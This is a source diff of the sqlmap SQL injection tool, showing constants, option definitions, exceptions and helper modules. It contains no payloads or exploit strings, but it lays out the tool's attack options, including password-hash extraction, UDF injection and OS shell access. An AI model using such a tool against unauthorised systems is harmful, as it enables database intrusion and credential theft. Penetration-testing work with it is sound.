||||
|
||||
def query(self, query, queryRes):
|
||||
self.string(query, queryRes)
|
||||
|
||||
def rFile(self,filePath,fileData):
|
||||
self.string("%s file saved to" % filePath,fileData,sort=False)
|
||||
|
||||
def registerValue(self,registerData):
|
||||
self.string("Registry key value data", registerData,sort=False)
|
||||
|
||||
# object to manage how to print the retrieved queries output to
|
||||
# standard output and sessions file
|
||||
dumper = Dump()
|
||||
|
||||
@@ -0,0 +1,137 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id$
|
||||
|
||||
Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
class PRIORITY:
|
||||
LOWEST = -100
|
||||
LOWER = -50
|
||||
LOW = -10
|
||||
NORMAL = 0
|
||||
HIGH = 10
|
||||
HIGHER = 50
|
||||
HIGHEST = 100
|
||||
|
||||
class SORTORDER:
|
||||
FIRST = 0
|
||||
SECOND = 1
|
||||
THIRD = 2
|
||||
FOURTH = 3
|
||||
FIFTH = 4
|
||||
LAST = 100
|
||||
|
||||
class DBMS:
|
||||
ACCESS = "Microsoft Access"
|
||||
FIREBIRD = "Firebird"
|
||||
MAXDB = "SAP MaxDB"
|
||||
MSSQL = "Microsoft SQL Server"
|
||||
MYSQL = "MySQL"
|
||||
ORACLE = "Oracle"
|
||||
PGSQL = "PostgreSQL"
|
||||
SQLITE = "SQLite"
|
||||
SYBASE = "Sybase"
|
||||
|
||||
class PLACE:
|
||||
GET = "GET"
|
||||
POST = "POST"
|
||||
URI = "URI"
|
||||
COOKIE = "Cookie"
|
||||
UA = "User-Agent"
|
||||
REFERER = "Referer"
|
||||
|
||||
class HTTPMETHOD:
|
||||
GET = "GET"
|
||||
POST = "POST"
|
||||
HEAD = "HEAD"
|
||||
|
||||
class NULLCONNECTION:
|
||||
HEAD = "HEAD"
|
||||
RANGE = "Range"
|
||||
|
||||
class HASH:
|
||||
MYSQL = r'(?i)\A\*[0-9a-f]{40}\Z'
|
||||
MYSQL_OLD = r'(?i)\A[0-9a-f]{16}\Z'
|
||||
POSTGRES = r'(?i)\Amd5[0-9a-f]{32}\Z'
|
||||
MSSQL = r'(?i)\A0x0100[0-9a-f]{8}[0-9a-f]{40}\Z'
|
||||
MSSQL_OLD = r'(?i)\A0x0100[0-9a-f]{8}[0-9a-f]{80}\Z'
|
||||
ORACLE = r'(?i)\As:[0-9a-f]{60}\Z'
|
||||
ORACLE_OLD = r'(?i)\A[01-9a-f]{16}\Z'
|
||||
MD5_GENERIC = r'(?i)\A[0-9a-f]{32}\Z'
|
||||
SHA1_GENERIC = r'(?i)\A[0-9a-f]{40}\Z'
|
||||
CRYPT_GENERIC = r'(?i)\A[./0-9A-Za-z]{13}\Z'
|
||||
|
||||
class HTTPHEADER:
|
||||
ACCEPT_ENCODING = "Accept-Encoding"
|
||||
AUTHORIZATION = "Authorization"
|
||||
CONNECTION = "Connection"
|
||||
CONTENT_ENCODING = "Content-Encoding"
|
||||
CONTENT_LENGTH = "Content-Length"
|
||||
CONTENT_RANGE = "Content-Range"
|
||||
CONTENT_TYPE = "Content-Type"
|
||||
COOKIE = "Cookie"
|
||||
PROXY_AUTHORIZATION = "Proxy-authorization"
|
||||
RANGE = "Range"
|
||||
REFERER = "Referer"
|
||||
USER_AGENT = "User-Agent"
|
||||
|
||||
class EXPECTED:
|
||||
BOOL = "bool"
|
||||
INT = "int"
|
||||
|
||||
class PAYLOAD:
|
||||
SQLINJECTION = {
|
||||
1: "boolean-based blind",
|
||||
2: "error-based",
|
||||
3: "UNION query",
|
||||
4: "stacked queries",
|
||||
5: "AND/OR time-based blind"
|
||||
}
|
||||
|
||||
PARAMETER = {
|
||||
1: "Unescaped numeric",
|
||||
2: "Single quoted string",
|
||||
3: "LIKE single quoted string",
|
||||
4: "Double quoted string",
|
||||
5: "LIKE double quoted string"
|
||||
}
|
||||
|
||||
RISK = {
|
||||
0: "No risk",
|
||||
1: "Low risk",
|
||||
2: "Medium risk",
|
||||
3: "High risk"
|
||||
}
|
||||
|
||||
CLAUSE = {
|
||||
0: "Always",
|
||||
1: "WHERE",
|
||||
2: "GROUP BY",
|
||||
3: "ORDER BY",
|
||||
4: "LIMIT",
|
||||
5: "OFFSET",
|
||||
6: "TOP",
|
||||
7: "Table name",
|
||||
8: "Column name"
|
||||
}
|
||||
|
||||
class METHOD:
|
||||
COMPARISON = "comparison"
|
||||
GREP = "grep"
|
||||
TIME = "time"
|
||||
UNION = "union"
|
||||
|
||||
class TECHNIQUE:
|
||||
BOOLEAN = 1
|
||||
ERROR = 2
|
||||
UNION = 3
|
||||
STACKED = 4
|
||||
TIME = 5
|
||||
|
||||
class WHERE:
|
||||
ORIGINAL = 1
|
||||
NEGATIVE = 2
|
||||
REPLACE = 3
|
||||
+9
-33
@@ -3,31 +3,10 @@
|
||||
"""
|
||||
$Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2007-2010 Bernardo Damele A. G. <[email protected]>
|
||||
Copyright (c) 2006 Daniele Bellucci <[email protected]>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
from lib.core.settings import PLATFORM
|
||||
from lib.core.settings import PYVERSION
|
||||
from lib.core.settings import VERSION
|
||||
from lib.core.settings import VERSION_STRING
|
||||
|
||||
|
||||
class sqlmapConnectionException(Exception):
|
||||
pass
|
||||
|
||||
@@ -55,6 +34,12 @@ class sqlmapNoneDataException(Exception):
|
||||
class sqlmapNotVulnerableException(Exception):
|
||||
pass
|
||||
|
||||
class sqlmapSilentQuitException(Exception):
|
||||
pass
|
||||
|
||||
class sqlmapUserQuitException(Exception):
|
||||
pass
|
||||
|
||||
class sqlmapRegExprException(Exception):
|
||||
pass
|
||||
|
||||
@@ -76,15 +61,6 @@ class sqlmapUnsupportedFeatureException(Exception):
|
||||
class sqlmapValueException(Exception):
|
||||
pass
|
||||
|
||||
def unhandledException():
|
||||
errMsg = "unhandled exception in %s, please copy " % VERSION_STRING
|
||||
errMsg += "the command line and the following text and send by e-mail "
|
||||
errMsg += "to [email protected]. The developer will "
|
||||
errMsg += "fix it as soon as possible:\nsqlmap version: %s\n" % VERSION
|
||||
errMsg += "Python version: %s\n" % PYVERSION
|
||||
errMsg += "Operating system: %s" % PLATFORM
|
||||
return errMsg
|
||||
|
||||
exceptionsTuple = (
|
||||
sqlmapConnectionException,
|
||||
sqlmapDataException,
|
||||
@@ -102,4 +78,4 @@ exceptionsTuple = (
|
||||
sqlmapUnsupportedDBMSException,
|
||||
sqlmapUnsupportedFeatureException,
|
||||
sqlmapValueException,
|
||||
)
|
||||
)
|
||||
|
||||
+904
-456
File diff suppressed because it is too large
Load Diff
+66
-44
@@ -3,28 +3,17 @@
|
||||
"""
|
||||
$Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2007-2010 Bernardo Damele A. G. <[email protected]>
|
||||
Copyright (c) 2006 Daniele Bellucci <[email protected]>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
optDict = {
|
||||
# Family: { "parameter_name": "parameter_datatype" },
|
||||
# Format:
|
||||
# Family: { "parameter name": "parameter datatype" },
|
||||
# Or:
|
||||
# Family: { "parameter name": ("parameter datatype", "category name used for common outputs feature") },
|
||||
"Target": {
|
||||
"direct": "string",
|
||||
"url": "string",
|
||||
"list": "string",
|
||||
"requestFile": "string",
|
||||
@@ -33,25 +22,34 @@ optDict = {
|
||||
},
|
||||
|
||||
"Request": {
|
||||
"method": "string",
|
||||
"data": "string",
|
||||
"cookie": "string",
|
||||
"cookieUrlencode": "boolean",
|
||||
"dropSetCookie": "boolean",
|
||||
"referer": "string",
|
||||
"agent": "string",
|
||||
"userAgentsFile": "string",
|
||||
"randomAgent": "boolean",
|
||||
"referer": "string",
|
||||
"headers": "string",
|
||||
"aType": "string",
|
||||
"aCred": "string",
|
||||
"aCert": "string",
|
||||
"proxy": "string",
|
||||
"pCred": "string",
|
||||
"ignoreProxy": "boolean",
|
||||
"threads": "integer",
|
||||
"delay": "float",
|
||||
"timeout": "float",
|
||||
"retries": "integer",
|
||||
"scope": "string"
|
||||
"scope": "string",
|
||||
"safUrl": "string",
|
||||
"saFreq": "integer"
|
||||
},
|
||||
|
||||
"Optimization": {
|
||||
"optimize": "boolean",
|
||||
"predictOutput": "boolean",
|
||||
"keepAlive": "boolean",
|
||||
"nullConnection": "boolean",
|
||||
"threads": "integer"
|
||||
},
|
||||
|
||||
"Injection": {
|
||||
@@ -59,20 +57,23 @@ optDict = {
|
||||
"dbms": "string",
|
||||
"os": "string",
|
||||
"prefix": "string",
|
||||
"postfix": "string",
|
||||
"suffix": "string",
|
||||
"tamper": "string"
|
||||
},
|
||||
|
||||
"Detection": {
|
||||
"level": "integer",
|
||||
"risk": "integer",
|
||||
"string": "string",
|
||||
"regexp": "string",
|
||||
"eString": "string",
|
||||
"eRegexp": "string",
|
||||
"textOnly": "boolean"
|
||||
},
|
||||
|
||||
"Techniques": {
|
||||
"stackedTest": "boolean",
|
||||
"timeTest": "boolean",
|
||||
"tech": "string",
|
||||
"timeSec": "integer",
|
||||
"unionTest": "boolean",
|
||||
"uTech": "string",
|
||||
"unionUse": "boolean"
|
||||
"uCols": "string",
|
||||
"uChar": "string"
|
||||
},
|
||||
|
||||
"Fingerprint": {
|
||||
@@ -80,22 +81,24 @@ optDict = {
|
||||
},
|
||||
|
||||
"Enumeration": {
|
||||
"getBanner": "boolean",
|
||||
"getCurrentUser": "boolean",
|
||||
"getCurrentDb": "boolean",
|
||||
"getBanner": ("boolean", "Banners"),
|
||||
"getCurrentUser": ("boolean", "Users"),
|
||||
"getCurrentDb": ("boolean", "Databases"),
|
||||
"isDba": "boolean",
|
||||
"getUsers": "boolean",
|
||||
"getPasswordHashes": "boolean",
|
||||
"getPrivileges": "boolean",
|
||||
"getDbs": "boolean",
|
||||
"getTables": "boolean",
|
||||
"getColumns": "boolean",
|
||||
"getUsers": ("boolean", "Users"),
|
||||
"getPasswordHashes": ("boolean", "Passwords"),
|
||||
"getPrivileges": ("boolean", "Privileges"),
|
||||
"getRoles": ("boolean", "Roles"),
|
||||
"getDbs": ("boolean", "Databases"),
|
||||
"getTables": ("boolean", "Tables"),
|
||||
"getColumns": ("boolean", "Columns"),
|
||||
"dumpTable": "boolean",
|
||||
"dumpAll": "boolean",
|
||||
"user": "string",
|
||||
"search": "boolean",
|
||||
"db": "string",
|
||||
"tbl": "string",
|
||||
"col": "string",
|
||||
"user": "string",
|
||||
"excludeSysDbs": "boolean",
|
||||
"limitStart": "integer",
|
||||
"limitStop": "integer",
|
||||
@@ -105,6 +108,11 @@ optDict = {
|
||||
"sqlShell": "boolean"
|
||||
},
|
||||
|
||||
"Brute": {
|
||||
"commonTables": "boolean",
|
||||
"commonColumns": "boolean"
|
||||
},
|
||||
|
||||
"User-defined function": {
|
||||
"udfInject": "boolean",
|
||||
"shLib": "string"
|
||||
@@ -137,14 +145,28 @@ optDict = {
|
||||
"regType": "string"
|
||||
},
|
||||
|
||||
"Miscellaneous": {
|
||||
"General": {
|
||||
#"xmlFile": "string",
|
||||
"trafficFile": "string",
|
||||
"sessionFile": "string",
|
||||
"flushSession": "boolean",
|
||||
"freshQueries": "boolean",
|
||||
"forms": "boolean",
|
||||
"eta": "boolean",
|
||||
"googlePage": "integer",
|
||||
"updateAll": "boolean",
|
||||
"batch": "boolean",
|
||||
"batch": "boolean"
|
||||
},
|
||||
|
||||
"Miscellaneous": {
|
||||
"beep": "boolean",
|
||||
"checkPayload": "boolean",
|
||||
"cleanup": "boolean",
|
||||
"googlePage": "integer",
|
||||
"pageRank": "boolean",
|
||||
"parseErrors": "boolean",
|
||||
"replicate": "boolean",
|
||||
"tor": "boolean",
|
||||
"wizard": "boolean",
|
||||
"verbose": "integer"
|
||||
},
|
||||
}
|
||||
|
||||
@@ -0,0 +1,89 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id$
|
||||
|
||||
Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
import codecs
|
||||
import os
|
||||
import cProfile
|
||||
|
||||
from lib.core.common import getUnicode
|
||||
from lib.core.data import logger
|
||||
from lib.core.data import paths
|
||||
from lib.core.settings import UNICODE_ENCODING
|
||||
|
||||
def profile(profileOutputFile=None, dotOutputFile=None, imageOutputFile=None):
|
||||
"""
|
||||
This will run the program and present profiling data in a nice looking graph
|
||||
"""
|
||||
try:
|
||||
from extra.gprof2dot import gprof2dot
|
||||
from extra.xdot import xdot
|
||||
import gobject
|
||||
import gtk
|
||||
import pydot
|
||||
except ImportError, e:
|
||||
errMsg = "profiling requires third-party libraries (%s)" % getUnicode(e, UNICODE_ENCODING)
|
||||
logger.error(errMsg)
|
||||
return
|
||||
|
||||
if profileOutputFile is None:
|
||||
profileOutputFile = os.path.join(paths.SQLMAP_OUTPUT_PATH, "sqlmap_profile.raw")
|
||||
|
||||
if dotOutputFile is None:
|
||||
dotOutputFile = os.path.join(paths.SQLMAP_OUTPUT_PATH, "sqlmap_profile.dot")
|
||||
|
||||
if imageOutputFile is None:
|
||||
imageOutputFile = os.path.join(paths.SQLMAP_OUTPUT_PATH, "sqlmap_profile.png")
|
||||
|
||||
if os.path.exists(profileOutputFile):
|
||||
os.remove(profileOutputFile)
|
||||
|
||||
if os.path.exists(dotOutputFile):
|
||||
os.remove(dotOutputFile)
|
||||
|
||||
if os.path.exists(imageOutputFile):
|
||||
os.remove(imageOutputFile)
|
||||
|
||||
infoMsg = "profiling the execution into file %s" % profileOutputFile
|
||||
logger.info(infoMsg)
|
||||
|
||||
# Start sqlmap main function and generate a raw profile file
|
||||
cProfile.run("start()", profileOutputFile)
|
||||
|
||||
infoMsg = "converting profile data into a dot file '%s'" % dotOutputFile
|
||||
logger.info(infoMsg)
|
||||
|
||||
# Create dot file by using extra/gprof2dot/gprof2dot.py
|
||||
# http://code.google.com/p/jrfonseca/wiki/Gprof2Dot
|
||||
dotFilePointer = codecs.open(dotOutputFile, 'wt', UNICODE_ENCODING)
|
||||
parser = gprof2dot.PstatsParser(profileOutputFile)
|
||||
profile = parser.parse()
|
||||
profile.prune(0.5/100.0, 0.1/100.0)
|
||||
dot = gprof2dot.DotWriter(dotFilePointer)
|
||||
dot.graph(profile, gprof2dot.TEMPERATURE_COLORMAP)
|
||||
dotFilePointer.close()
|
||||
|
||||
infoMsg = "converting dot file into a graph image '%s'" % imageOutputFile
|
||||
logger.info(infoMsg)
|
||||
|
||||
# Create graph image (png) by using pydot (python-pydot)
|
||||
# http://code.google.com/p/pydot/
|
||||
pydotGraph = pydot.graph_from_dot_file(dotOutputFile)
|
||||
pydotGraph.write_png(imageOutputFile)
|
||||
|
||||
infoMsg = "displaying interactive graph with xdot library"
|
||||
logger.info(infoMsg)
|
||||
|
||||
# Display interactive Graphviz dot file by using extra/xdot/xdot.py
|
||||
# http://code.google.com/p/jrfonseca/wiki/XDot
|
||||
win = xdot.DotWindow()
|
||||
win.connect('destroy', gtk.main_quit)
|
||||
win.set_filter("dot")
|
||||
win.open_file(dotOutputFile)
|
||||
gobject.timeout_add(1000, win.update, dotOutputFile)
|
||||
gtk.main()
|
||||
+5
-19
@@ -3,25 +3,11 @@
|
||||
"""
|
||||
$Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2007-2010 Bernardo Damele A. G. <[email protected]>
|
||||
Copyright (c) 2006 Daniele Bellucci <[email protected]>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
from lib.core.common import getUnicode
|
||||
from lib.core.common import dataToStdout
|
||||
from lib.core.data import conf
|
||||
|
||||
@@ -80,7 +66,7 @@ class ProgressBar:
|
||||
" " * (allFull - numHashes))
|
||||
|
||||
# Add the percentage at the beginning of the progress bar
|
||||
percentString = str(percentDone) + "%"
|
||||
percentString = getUnicode(percentDone) + "%"
|
||||
self.__progBar = "%s %s" % (percentString, self.__progBar)
|
||||
|
||||
def draw(self, eta=0):
|
||||
@@ -102,4 +88,4 @@ class ProgressBar:
|
||||
This method returns the progress bar string
|
||||
"""
|
||||
|
||||
return str(self.__progBar)
|
||||
return getUnicode(self.__progBar)
|
||||
|
||||
+19
-43
@@ -3,74 +3,50 @@
|
||||
"""
|
||||
$Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2007-2010 Bernardo Damele A. G. <[email protected]>
|
||||
Copyright (c) 2006 Daniele Bellucci <[email protected]>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
|
||||
Based on IPython readline library (IPython/rlineimpl.py), imports and
|
||||
provides the "correct" version of readline for the platform.
|
||||
In addition to normal readline stuff, this module provides haveReadline
|
||||
boolean and _outputfile variable used in genutils.
|
||||
Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
import sys
|
||||
|
||||
from lib.core.data import logger
|
||||
from lib.core.settings import IS_WIN
|
||||
from lib.core.settings import PLATFORM
|
||||
|
||||
_readline = None
|
||||
|
||||
try:
|
||||
from readline import *
|
||||
import readline as _rl
|
||||
|
||||
haveReadline = True
|
||||
import readline as _readline
|
||||
except ImportError:
|
||||
try:
|
||||
from pyreadline import *
|
||||
import pyreadline as _rl
|
||||
import pyreadline as _readline
|
||||
except ImportError:
|
||||
pass
|
||||
|
||||
haveReadline = True
|
||||
except ImportError:
|
||||
haveReadline = False
|
||||
|
||||
if IS_WIN and haveReadline:
|
||||
if IS_WIN and _readline:
|
||||
try:
|
||||
_outputfile=_rl.GetOutputFile()
|
||||
_outputfile = _readline.GetOutputFile()
|
||||
except AttributeError:
|
||||
debugMsg = "Failed GetOutputFile when using platform's "
|
||||
debugMsg = "Failed GetOutputFile when using platform's "
|
||||
debugMsg += "readline library"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
haveReadline = False
|
||||
_readline = None
|
||||
|
||||
# Test to see if libedit is being used instead of GNU readline.
|
||||
# Thanks to Boyd Waters for this patch.
|
||||
uses_libedit = False
|
||||
|
||||
if PLATFORM == 'darwin' and haveReadline:
|
||||
if PLATFORM == 'mac' and _readline:
|
||||
import commands
|
||||
|
||||
(status, result) = commands.getstatusoutput( "otool -L %s | grep libedit" % _rl.__file__ )
|
||||
(status, result) = commands.getstatusoutput( "otool -L %s | grep libedit" % _readline.__file__ )
|
||||
|
||||
if status == 0 and len(result) > 0:
|
||||
# We are bound to libedit - new in Leopard
|
||||
_rl.parse_and_bind("bind ^I rl_complete")
|
||||
_readline.parse_and_bind("bind ^I rl_complete")
|
||||
|
||||
debugMsg = "Leopard libedit detected when using platform's "
|
||||
debugMsg = "Leopard libedit detected when using platform's "
|
||||
debugMsg += "readline library"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
@@ -81,11 +57,11 @@ if PLATFORM == 'darwin' and haveReadline:
|
||||
# existence. Some known platforms actually don't have it. This thread:
|
||||
# http://mail.python.org/pipermail/python-dev/2003-August/037845.html
|
||||
# has the original discussion.
|
||||
if haveReadline:
|
||||
if _readline:
|
||||
try:
|
||||
_rl.clear_history
|
||||
_readline.clear_history()
|
||||
except AttributeError:
|
||||
def clear_history():
|
||||
pass
|
||||
|
||||
_rl.clear_history = clear_history
|
||||
_readline.clear_history = clear_history
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user